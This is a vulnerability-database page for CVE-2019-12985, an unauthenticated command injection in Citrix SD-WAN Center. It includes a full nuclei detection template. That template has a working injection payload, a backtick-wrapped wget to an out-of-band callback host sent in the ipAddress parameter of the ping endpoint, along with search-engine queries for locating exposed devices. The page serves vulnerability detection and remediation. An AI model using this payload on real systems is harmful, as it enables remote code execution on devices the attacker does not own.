HexBrain

Browse / CVEs / CVE-2019-12985

CVE-2019-12985· citrix / netscaler sd-wan· CWE-78

Citrix SD-WAN Center - Remote Command Injection

criticalseverity
9.8CVSS score
39.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire Citrix SD-WAN Center infrastructure.

Fix

Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.

How to confirm it

Send: GET /login ; POST /Collector/diagnostics/ping
Positive when: contains(body_1, "<title>Citrix SD-WAN</title>") AND contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2019-12985 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-12985

info:
  name: Citrix SD-WAN Center - Remote Command Injection
  author: gy741
  severity: critical
  description: |
    Citrix SD-WAN Center is susceptible to remote command injection via the ping function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, pingCount, or packetSize, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire Citrix SD-WAN Center infrastructure.
  remediation: |
    Apply the necessary patches or updates provided by Citrix to mitigate this vulnerability.
  reference:
    - https://www.tenable.com/security/research/tra-2019-31
    - https://support.citrix.com/article/CTX251987
    - https://nvd.nist.gov/vuln/detail/CVE-2019-12985
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2019-12985
    cwe-id: CWE-78
    epss-score: 0.39544
    epss-percentile: 0.98626
    cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: citrix
    product: netscaler_sd-wan
    shodan-query:
      - http.title:"Citrix SD-WAN"
      - http.title:"citrix sd-wan"
    fofa-query: title="citrix sd-wan"
    google-query: intitle:"citrix sd-wan"
  tags: cve,cve2019,citrix,rce,unauth,oast,tenable,vkev,vuln

http:
  - raw:
      - |
        GET /login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /Collector/diagnostics/ping HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        ipAddress=%60/bin/wget+http://{{interactsh-url}}%60

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_1, "<title>Citrix SD-WAN</title>")'

      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from